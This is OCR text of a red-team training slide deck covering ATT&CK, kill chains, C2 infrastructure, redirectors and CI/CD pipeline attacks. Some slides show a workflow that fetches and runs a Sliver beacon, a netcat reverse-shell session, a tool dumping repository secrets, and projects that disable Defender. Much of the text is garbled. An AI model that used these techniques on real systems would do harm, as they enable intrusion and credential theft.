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oFFE-NSIVE- SE-CURITY

* Proactive and adversarial
approach to protect the company,
systems, network, and individuals
from attacks

* Filling the gaps of conventional
Security Controls/Programs

Conventional Security is reactive:
* Focuson patching and risks
* Finding and fixing known system
vulnerabilities
 Reacting on CVEs/ Exploits
* Responding on Security Events

=>» Attack Surface Management & Reduction
IS proactive:

* Focuseson (next slide)

* Implementing security measures by
hacking strategies

* Simulating/Emulating real attacks

* Helpingin finding responses to attacks by
challenging Security Controls



OFFE-N-SIVE- 5E—CLJR|'P?

Description

The ad ary is trying to gather information they can use to plan future operations.

The ad ary is trying establish resources th an use to support operati
( ) The ad y is trying 1into your netw
* Describes ,,Cyber adversa ry = - 2 tion The adversary is trying to run malic
behaviour® ‘

The ad ary is trying to maintain their foothold.
* Has 3 matrices:

* Enterprise
° Mobile A : 0 Defense The ad y is trying oid being det

The ad y is trying to gain higher-level permis

o Industrial Control Systems » : The adversary is tryin account nan
C Focus on ) The ad ary is trying to figure out your environment,
actics: Why? (on the right)
echniques: How?

The ad y is trying to move through your environment.

- The ad y is trying ther data of int o their goal.
rocedures: How is itimplemented? S

The ad ary is trying mmunicate with compron

* Methodical and large coverage

* Can be overwhelming

The ad y is trying | data.

The ad y is trying to manipulate, interrupt, or d

Source



https://attack.mitre.org/tactics/enterprise/
https://attack.mitre.org/tactics/enterprise/
https://attack.mitre.org/tactics/enterprise/

rmation they can use to plan future operations.

sources they can use to support operations.

network.

{code.

foothold.

il permissions.

\cted.

and passwords.

1A0011 Command and Control

TAOO10 Exfiltration

TAQ040 Impact ~ ; ems and data.



https://attack.mitre.org/tactics/enterprise/
https://attack.mitre.org/tactics/enterprise/
https://attack.mitre.org/tactics/enterprise/

O[F[FE-N-SIVE-

. RECONNAISSANCE
3 Harvesting email addresses,
(Lockheed Martin 2011) |

conference informan’on, etc,

WEAPONIZATION
[ and F ‘
e Suitable for analyzmg malware :
ransomware campaigns |

Coupling exploit with backdoor
into deliverable payload
- imeter -
Focussed on overcoming perime :
° 2
security / exploits

Delivering Weaponized bundle to the

victim via email, web, USB, etc.
ineis the :
* Assumesthe target machlntei:rl]sé) .
asset (ignores network pivo

EXPLOITATION
We prefer the Unified Kill Chain! /

Exploih’ng a vulnerability to execute
code on victim’s System

Command channel for remote
Manipulation of victim

ACTIONS ON OBJECTIVES

With ‘Hands on
intruders accompli

Keyboarg’ access,
sh their original goals

Source


https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html

OFFE-NSIVE- SE-CURITY

e
Reconnaissance
=

Technical information Gathering

People information Gathering
Define Objectives

Organizationaf Information Gathering
OSINT

Technical Weakness (dentifcation Delivery
PRE-Attack People Weakness Hentification

Lateral Movement

_< Definition Planning

Definition Direction

ATT&CK Cyber
Kill Chain

Installation

) Objectives Met
F=Privilege Eseaiation

"Organizationa| Weakfiess identifieation

Unterknoten 2

/ =_——
L Discovery { Account Enumeration Z Anti-Forensics
/
i / /
w— Defense Evasion Defense Evasion /,’_ Covering tracks /OpSeC
' §
== Target Selection Adversary Opsgc Execution Comma nd & Contm[ Collection
) -< Establish & Maintain Infrastructyre pan o o
. Initial Access ittartion
Preparation Bl TestStage Capapiiges !
| Defense Evasion b impact
Weaponization
Exploitation
- e

asset (ignores network pivuung,

! Credential Acces

Command channel for remote
Manipulation of victim

e
a
./



https://benjitrapp.github.io/defenses/2022-10-01-cyberkillchain-meets-mitre/
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What is Red Teaﬂﬁ

Red Team {
Infrastructure \\ '
'

CI/CD Pipeline Attack
Vectors
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ulnerability /ssessment

* Process of identifying, quantifying, and
prioritizing system vulnerabilities

* Involves completing a vulnerability
scan and validating findings

* Removes false positives to calculate

accurate risk rating

RATION TE=STING

o

enetration 'esting

Active exploitation of identified
vulnerabilities

Often discovers unknown
vulnerabilities and bypasses
preventive controls

Conducted within a defined scope |
and adhering to Rules of Engagementsx’”




ulnerability /ssessment
Process of identifying, quantifying, and
prioritizing system vulnerabilities
Involves completing a vulnerability
scan and validating findings
Removes false positives to
accurate risk rating

bypasses

S

defined scope \
es of Engagement‘\\/”
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RE-D TE-AMING

Process of

with the goals of
training and measuring the
effectiveness of people, processes,
and technology used to defend an
environment

Orientated on Targets/Goals to reach M Penetration Adversary
and TTPs instead of a “small” scope > Testing Emulation
=» Choosing our battles wisely

\ \



https://scythe.io/library/scythes-ethical-hacking-maturity-model
https://scythe.io/library/scythes-ethical-hacking-maturity-model
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https://scythe.io/library/scythes-ethical-hacking-maturity-model
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V' RE-D TE-AMING

Exploitation without exploit

1 = Patching is good, but Attacks not always | ‘? :
' require an exploit based on code flaws G

=» Exploitation or compromising a system by
(ab)using the system design, functions, and
configuration against itself

_ =>» Weak security controls and
- misconfigurations can lead to compromise

=» Social Engineering = Humans can‘t be
patched

ﬁ
{

Attack !=Scan - Exploit 2 Profit

\

_ e\\t\\“‘““i

 J

RED
TEAMING



* People are behind cyber-attacks!
e Security controls and strategies
& must
| and not solely on
(potential) security events
* TTPs are the best representation
of attacker behavior
- Segregates Red Teaming also
from Pentesting
* The company defense need to
focus on detection and NOT
on prevention

A 1SO27001: A potential cause of an incident, that ‘=@
may result in harm of systems

and organization
L



g [ SIM/EMIULATE- THRE-AT.S

Real Threat-Actors will:

 Establish C2 (Command &Control)
* Establish persistence

* Perform situational awareness
« Push to ultimately achieve goals &L Espionage

)‘ Destructive

Name: Strumak g,
g z anorey .
¢3% Disruptive Details

=» Mimic/Simulate Threat-Actors by ch Cyber-Crime
learning from their TTPs

=>» Test immunity of the company
against real-world attacks

| Needs (this is bag for us)

. lnfecn‘ngas much ma €5 as possip
ssible

£

Intent g

o

Capability - ’ isguise the tr
server from being leakeq

Obstacles (they help us to detect him)

Botnet gets detected ang blocked

FART sy o

"Everybody has a plan until they get punched
in the face" - Mike Tyson



TIBER—EU FRAME-WORK

hreat /ntelligence-ased ' thical
ed Teaming
* Framework used by EZB (European
Central Bank)
Aiming to improve protection,
detection, and response
capabilities
Structured way to organize Red
Team assessments

4
L

Source: https://www.scip.ch/en/?labs.20201119 _ -

Generic threat Engagement oy Threat Red ?::mdla- Result

"

! : procure- : : . :

\ landscape & scoping U intelligence teaming planning sharing
(TIRP)
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Learn from real-world
Threat Actors

* Bringsintherealisminto
the Adversary
(Sim/Em)ulation

* Creation of:

 Threat Profiles

e TTPs

 Attack flows

Campaigns
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PLANNING

D / . /f/’ :. ;‘\ .{e«.: \‘. x b o g
-7 M _ _‘,-,-;. <: ﬂ.:\\;.\{*\l\\ﬁ
" l;/ ;{7 C: ::::3 NN ,:\
) ( ( ( 3""’_:\:} ‘N\Q - N :
V4 / ‘! l - \ \\ ‘\\ "*. l‘-s \\ \ i ..-.—

Process of identifying, analyzing, and prioritizing potential
adversarial tactics, techniques, and goals to design

TTTe= /AN g
o= /3;; (;,::"/ “:&3‘2‘15 \% ‘.. —
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“LANNIN

. { ThreatPlanning is required to:
* Create the rules of the engagement
=» Establish responsibility, relationship & guidelines
=>» Segregates between legal and actions

 Documentation to make the applied threat touchable for the
stakeholders

* Help the Red Team to slip into the skin of the adversary
* What is the motivation of the adversary ?
goals does the adversary aim at ?




CPLANNING

THREA
¥

-,'< Threat Planning is required to: <N
* Create the rules of the engagement
=» Establish responsibility, relationship & guidelines

\‘, -

.......
R,

=>» Segregates between legal and actions BpEse
 Documentation to make the applied threat touchable for the
stakeholders
* Help the Red Team to slip into the skin of the adversary
* What is the motivation of the adversary ?
goals does the adversary aim at ?




Wish to minimize risk

Reduces
‘May pOSSEeSS l v
May be aware of L Vulnerabilities ——— Risk

1 I ,
Threat Actors —> Threats -
>

»%i\

Source: SANS - Creating a Threat Profile for Your Organization



Threat Actors

Wishtor

Y H

and (attempt to)
implemented
Security Controls

‘May POSSess 1 }

May be aware of J Vulnerabilities =— Risk

A
| I ,
Threat Actors —> Threats -
>

rneuuces

'%Q\

Source: SANS - Creating a Threat Profile for Your Organization
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- el § - = - ’

Y; Threat Actors l

attempt to

Value

Impose

to reach
their objectives while
maintaining OpSec

‘May pOSSESS J

Reduces

May be aware of J Vulnerabilities —— Risk
Threat Actors —>  Threats

>

|
|
_

-%Q.\



Value

Threat Actors l

attempt to
to reach
eir objectives while

SO
2 rce: SANS - Creating a Threat Profile for Your Organization



=RIMETE-R :
R.NT.0l — X—TUNNE-LING THE- PE-RIMET
APR.NT.

5

B 2

AN

‘k)uébv

| ..“:.- J

Category
Unique 1p

Internay nickname

Descn‘pﬂon
Goal and Intent
Ownership

Key 10Cs

Location

C2 Overview

Conﬁdenh‘allty
Integrity
Availabflity
Authsnticv'ty
Exploitation

Persistence

Description

— " in i
Kill Cha ) llati
APR.NT.01 Stage in the Cyber , > Exploitation > 1nst2

2
Recon > We

ion
Exfiltratiol
c2-
on - C2

.00 o Deliver
Fancy Molegear ponization

=
——
- '
. mand '
& Control

\
\
\
\
| \
' |
|
! '
- ation
Exploftation | B

on 1 instaliation

onizati
V Snizo
Weapo

! pelivery

-
Recon

* Signatures (MDS/SHAZSS[..A)
* IPs, Ports, Protocols used

* Link to the Operator Log

* Payload used

Internaf iT Operations

* HTTPS op Port 443 Copgjt Strike Beacon Wwith a five-minute callback time. Calling directly to threat
* Assumed Breach Model, no initial delivery via exploitation.

s POST- exploitation Via Cobalt Strike Conmangds,

* Enumeration and laterat Movement via Cobalt Styike and native Windows Commands.

* Privilege escalation limited ang determineq POST- exploitation,

~owned domaijns.

High

High
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Login .
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h ma pelivery Exploitation l
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(search
Quicksed -
1 {Back 10 ouemew)
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win. w e\
nn
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D shunnae .
akat A
Actor(s): APTZ ;
m
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) too! that '\mp\emems L ig°'o-
roXy ‘
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lisan
¥-Tunne

ng: Tunneling like a VPN

An advanced, yet simple, tunneling tool that uses TUN interfaces.

. -

o

Mulate X-Tunnel Malware
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Automated

Operator

Log
=)

Cloud
Lagging

=4

Operator Log
Cold Storage

XPRO MO

Legacy OS for Kernel
Exploit creation

Disposable Test
Environments

Customized VMs for
testing

Cl/CD Backbone

C2 Beacon

Scanner and Tool

Pipeline

Rollout of Labs and
disposable infrastructure

THE- RACCOO

5

Oberservigq

Bindplane
Server

Disposable
Test

Environments

Puppet Master Pods
and C2 clients "

= k8s Ingress
Scanning Tools

(Arachni, Shodan
Scanner, .etc..)

Cracking Machiné(s)

ows Al

Linux Arsenal 1-X

Operative Env

e e Phishing Env
REWE PW Asset and ’v
— e GoPhish |oa
Lab Env
MalDev Lab EntralD/ AD

AV/EDR Shooting
Range

Lab

C2 Development
& Testing Lab

pwndrop

Benign
looking
Website

Relay/Redirec
tor

-

( Phishing Front \
Gun Server @

Phishing
Website

GoPhish
Proxy

-

Honey Pots

Decoys

=7

Ns DE-N

Proxy Server 1

Proxy Server X

©

Google IAP

.
’
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MASTE-R OF PUPPETS

coMMAND 8 coNTReL [c2]



coMMAND AND coNTrRoL B

"Command and Control consists of . ‘ * Command and Control (C2) Server:
techniques that adversaries may :

‘ o, * An attacker-controlled system used to

use to communicate with systems o : 3 e municate with imolants.
under their control within a victim | r " %
network." \ : » Acts as a command center by serving
- MITRE ATT&CK® ; - tasks and retrieving results for various
‘g : implants deployed throughout the target
/ 4 Space.

A * Uses asynchronous communications to

LN X ! , .
maintain a lower profile.
> ~onc -y
Connectig z
nf
whoam om 127.0.9. 1 59801 &/,
/ DEAUISRINE
& ok
/;~A
{ @ PADVANCEDITHREATRTACTICS]FOR{PENETRATIONITESTERS]
¥

How can you
in combination with the used attacker tools?

SLIVER]




BE-ACON

"A beacon is a small piece of code

deployed on a compromised system

that communicates back to the

attacker's command and control (C2)F
server.”

”Beacon is better”

' * Beacon:

\[

Your “innocent part” in victim
environment.

Enables remote control.

Data exfiltration, post exploitation
activities.

Maintain persistence while

OIS

JADVANCEDNTHREATRTACTICS[FOR[PENETRATIONJTESTERS

SLIVER|




LISTE-NE-RS »"

e (C2servers "listen", serve tasks, and
retrieve the results from the registered
beacons

 Avariety of methods to establish
network communications or
"channels"

* (C3, orcustom command and control,
is used to identify bespoke

* implementations with the intention of
avoiding detection of widely
distributed tools

Source



https://lolc2.github.io/

coMMUNICATION cHANNERL S
- -

The most popular C2 channels are:

e HTTP/S (network egress)

* DNS (network egress)

e TCP (peer-to-peer)

* SMB (peer-to-peer)

Some more esoteric examples are:

Gmail: https://github.com/byt3bl33d3r/gcat

* Google Drive: https:/ /github.com/lukebaggett/google_socks
* Slack: https://github.com/Coalfire-Research/Slackor
* Twitter: https://github.com/PaulSec/twittor

* DNS-over-HTTP: https://github.com/sensepost/godoh




coMMUNICATION CHANNE-L.S
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Client Hello

Retry Requ
49737 + https( [ACK] = Ack=1@8 Win= PID Int
Change Ciphe Client Hello
5 Hello

443) » 49737

plication Data

[E I I

w
R

[= ]
e
= oW
L

ALY S VB RV I |

&
Lo
D & o

LT AT

iy
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7 + https(443) [ACK] S A . an=p Image Performance Performance Graph GPU Graph  Threads
Application Data
- - e addr
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]

=

external internal

listener computer process pid

‘= 127.0.0.1 192.168.1.171  GraphsStrike  User CLIENT1 Graphstrike exe 976
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https://lolc2.github.io/




RE-DIRE-CTOR

C2 Server | Beacon on Victim Side



RE-DIRE-CTOIR _

C2 Server

< Redirector _ Beacon on Victim Side

* Different IPs Everytime

* Add obstacles for
analysing the traffic flow

* Chance of fingerprintig
and catching Blue Team
activities




DOMAIN FRONTING ME-ETS c2 INFRASTRUCTURE-

-------------------------- :
Operative Env : : i
e [ Legitimate (Decoy) ' 1
] Website 1 b
- ‘ er i Email Config E

[
Google IAP [ TLS Config
1

/ REWE IT Landscape

Grey Zone

Domain Config
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A
Reverse Linux
Windows

o
. ——
PR jgev/e?!

PpHP exeC
pHP shell_exe©
pHpsyste™
prp passth™
PHP
pHP pope™
pHp proc.oPe"
python#1
python#2
python3 #1

pythond #2

ce: https://revshells.com/

TG0 - ©
;

9]

attackEr

Encoding Noe
- B R .
\\\ ‘\5\\\ _

Q

attacker

tar
baCk tget connects
0 the attack
er

Bind shell

]

attacker connects
pack to the target
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A I e

-

» 6 ~ ~ nc -lnvp 443
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::443

Seng-
‘ Ncat: Listening on 0.0.0.0:443 n m‘cgyﬁi‘iﬂ:

Ncat: Connection from " i~ °fd e Rey

) . . P runs—gp, erse shayyw
Ncat: Connection from &= i~ B :9216. n SEIﬁﬁa el
sh: 0: can't access tty; job control turned off Sted.llnmg X64
$ whoami Steps: ' defaultn prd
o = Name;
5 pwd shely: bas: 5555&511'
/runner/work/ " EH HE_ S H B homg H_ FLG, .0 H N ES E =g B run: $(ep _:

$ [

77 ]




-
-
R
[

B .‘A ‘ g e : :

L
1 #name: 'Install and run Sliver Beacon'
2 #on:
3 # schedule:

# Each job runs for 5h > 7:80 first time 12:8@ next run till 17:8@. Beacon maybe alive for 6h so we have a overlapping windo

Y

during lunchtime but make sure that we stay within "busine times till 18:

ERGE S

cron: '@ 7 % % 1-5'

cron: '@ 12 * * 1-5' '\

workflow_dispatch:

~

jobs:

> © @

implant-beacon:
mplant be
runs-on: [ self-hosted, linux, X64, default, prd ]

& run Beacon'

cd /tmp
curl -ko beacon

®

chmod +x beacon
# Function to stop the Beacon and exit the pipeline

[

cleanup() {
echo "s(date '+% sH %M1 - Stopping Beacon and exiting..."
pkill -t
exit @

}

# Set trap for SIGTERM and SIGINT

# trap cleanup GTERM SIGINT

B

m = o !

]

2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
3

# Set end time to 5.5 hours
end_time=$(( $(date + + e)) B seconds is 5.5 hours

=

w
N

# Start and monitor the Beacon proc
echo "$(date '+%) % %M:%5') - Starting beacon ...
./beacon &
BEACON_PID=%!
echo "§(date % Beacon is now running with PID ${BEACON_PID} and starting to monitor the process"
while [ $(date +

# Monitor if the Beacon process is still running

if ! kill -@ $BEACON_PID 2=/de then

echo "§(date ' - Beacon stopped unexpectedly, restarting..."

./beacon &



Scans for Pwn Requests, Actions Injection,
Runner Takeover

*Supports cross-repo workflows & reusable
actions

*High sensitivity: catches what others miss (may
include false positives)

Safe search/enumerate on public repos — no rule
violations

Attack features require authorization

il

il ||

I )_
=
|




Checking g m e W MWE O W e -

The authenticated user is: [ == 38 ==

The GitHub Classic PAT has the following scopes: admin:enterprise, admin:gpg key, admir
ning key, audit log, codespace, copilot, delete:packages, delete repo, gist, notifications,
6}‘ The repository has 3 accessible secret(s)!
. Succesfully pushed the malicious workflow!
Malicicus branch deleted.

- Waiting for the workflow to gueue...
- Waiting for the workflow to execute...

GET request failed due to transpcrt error re-trying!
” The malicious workflow executed succesfully!
Decrypted and Decoded Secrets:

ORG_SONARCLOUD_TOKEN=97373f1fa7012 WelE"=N__ .- USBL v
SLACK_WEBHOOK_URL=https://hooks.slack.com/services/TGll EE90/B0. MV, 3F0/c8ME W W
ORG_FETCH_PAT=~f55ea7b2avll WY W e

Workflow deleted sucesfully!

iorqg,

project

admin:org

TR O <RSI

'éf

X o

0
r
R
3
2
53

7hcyk, admin:ssh sig

write:packages




FVre

LIRS

- - -

enumerate --targef - ||

The authenticated user is: HEl Hm AR SRR Ve

The GitHub Classic PAT has the following Scopes: repc

Enumerating the pems "y ESEE P organization!

The user is likely an organization member!

Querying repository list!

About to enumerate 397 non-archived repos within the &= 7 ekl —mdarfowl porganization!

Querying and caching workflow YAML files!
Querying repositories in 4 batches!

- Enumerating: sy i o EEE B

= Enumerating: 1 —sval-j .th- - =

The repository can acc. i B Secret(s), but the token cannot & A

-  SLACK _WEBHOOK, last updated 2/ M01-31T16:11:28Z Secrets for GitHub actions

- Enumerating: e seg-owm mEmC Wt -dsfem W o
The repository can access 1 secret(s), put the token cannot

- SA KEY, last updated Smem 0g8-25T08:01:09Z The GitHub action that does the deployment needs secrets GRAFANA_DEV , GRAFANA_INT , GRAFANA_PRD .
L) TS ELDS EE CYe B IRATN A GE SR SEEi e Ty e e (T alisg Please make sure that these secrets are configured in this repository.
- Enumerating: NN Eiw-lar“vm 'l - [ & NN

The user is an administrator on the repository, but no self-+
= Enumeratingy jmmmm ol mm B = B !
The repository can access 1 secret(s), but the token cannot
- SLACK WEBHOOK, last updated . -02-14T12:26:052

- Enumerating: HEEEE "THim b “rm e H H PUE DR

Changed by Raccoons

N

h .//github.com/AdnaneKhan/Gato-
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Tunneling traffic through a controlled system to other
systems that are not directly accessible.

Tunneling - Used to protect or encapsulate traffic to
correctly route it

/ \ / GitLab Runner

Enum Browser

Regular traffic

ssh Ligolo-
T Chisel
pivoting mp

Pivoting

N / o
/ Sliver Worl)

. Redirector
Sliver

NG /




g1 WA & Sen e Up ¥

W Wy Favoriten

Loeploy belperic kdeploy_belperi |
Il “sTWACE® ]} &b #é1 =&
funck lon prepare_dep Loy _emil ) |

wxpart TILLER MAMESPALE = SN0BE NAME LPALE
b

F BxBracty warlables profissd with KES_SECRET
¥ and Ereatai & Keberraled iadral.

-

#,§: 1T we Bawe the Tollswing eavirenssat yarisbles;
A% _SECRET Aevalusl
WS SECRET Besalriy, wordy value

Then we will creafe & secret with the followirg Rey-valus pairn
data:
B el g gas
B BXViGhgdT By DRI Vi 1 TG0 )
wACE Len create_agplicatios_seceeti) {
trahe ] i-srabie}™
gxpart APPLICATION SECRET RASEsfispelication_secret_ssms =§track™)

m )

S LLLLLLE]

) K P te 1 1 at 1 o hoed_w b h L 'k BAPPLI i K hEtes:sd Bocks
AnrlEEHT

L ERRS POV G

b

funcition deploy_nssel] {
sampn™ 0] ERYIROHFENT SLIG™
Efidhn ™5 =g 1able}”

¥

fusctlon apelicetion_secret_saseih {
trache=§{ 1-5tablg)”
st | deplay_nase “Srrack®|
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. : —False Positive Byot assigneqd
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Check the permissions of your Pipeline
- which other repositories are accessible?
- Skipping least privilege can jeopardize your defense.
- One misconfigured repo is enough
Check permissions for the accessible systems of your
CIl/CD ecosystem

* Git, Nexus, Artifactory, internal Docker Registries

— Can lead to a supply chain attack

e SonarQube and Scanners can be blinded
Pipelines are ideal beachheads, operating in blind
spots and blend in into corporate traffic -
Injected credentials may allow lateral movement y ».'a‘,\N —
Never ever loose a GitLab Runner registration token or ' ',"Ol |
global privileged token that manages repositories! ,"' ‘ 'l - 0n '

Always assume that CI/CD is a dangerous ¥ $
" goods transport. They are RCE as a Servicegée

TN _ -

Y s N
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Windows Security

Virus & threat

protection

Home Protection for your device against threats.

Virus & threat protection

Account protection

. github.

Firewall & network protection

Current threats
App & browser control
@& No actions needed.

Device security
Protection settings

Device performance & health ® No actions needed

Family options Protection updates
@ No actions needed.

Open app

Microsoft Defender Antiviry

github.com/es3n1n/no-defender

n1n/no-defender is t

* loading the wsc_proxy
* waiting

* removing the service
* done! thanks for using the no-defender project
* please don't forget to leave a star at https://github.com/es3nin/no-defender

Windows Community videos

Learn more about Virus & threat
protection

Do you have a question?

Get help

registry keys up

An

Sources

N LD e

s Nittps://gi

w

e
15

Abuses an undocumented

Regularly requires to sign an
NDA with Microsoft to get
Documentation

Normally used by
Antivirus Vendors to tell
Defender that another AV
tool takes the Lead

=» What should go wrong?

"



https://github.com/ionuttbara/windows-defender-remover
https://github.com/ionuttbara/windows-defender-remover
https://github.com/ionuttbara/windows-defender-remover
https://github.com/ionuttbara/windows-defender-remover
https://github.com/ionuttbara/windows-defender-remover
https://github.com/ionuttbara/windows-defender-remover
https://github.com/es3n1n/no-defender
https://github.com/es3n1n/no-defender
https://github.com/es3n1n/no-defender
https://github.com/es3n1n/no-defender
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RE-D TE-AM OPE-RATION

LI[FE= CYCLI-F\




DIAMOND MODE-L

Reconna‘\ssa nce

oF INTRUSION ANALY.SIS

Dia
Mond Mode| of Intrusion Analysijs

AC’VGrsary

l

3.21.128,255

TTPs
RCE/Springsshey
CVE-2022-22945

Nmap
Credentia Access

i

Victim

L. d Springs,
Activity ThE22

Framework developed to understand and analyze malicious
cyber activities. This model is built around four core features:
adversary, infrastructure, capability, and victim, arranged in the
shape of a diamond
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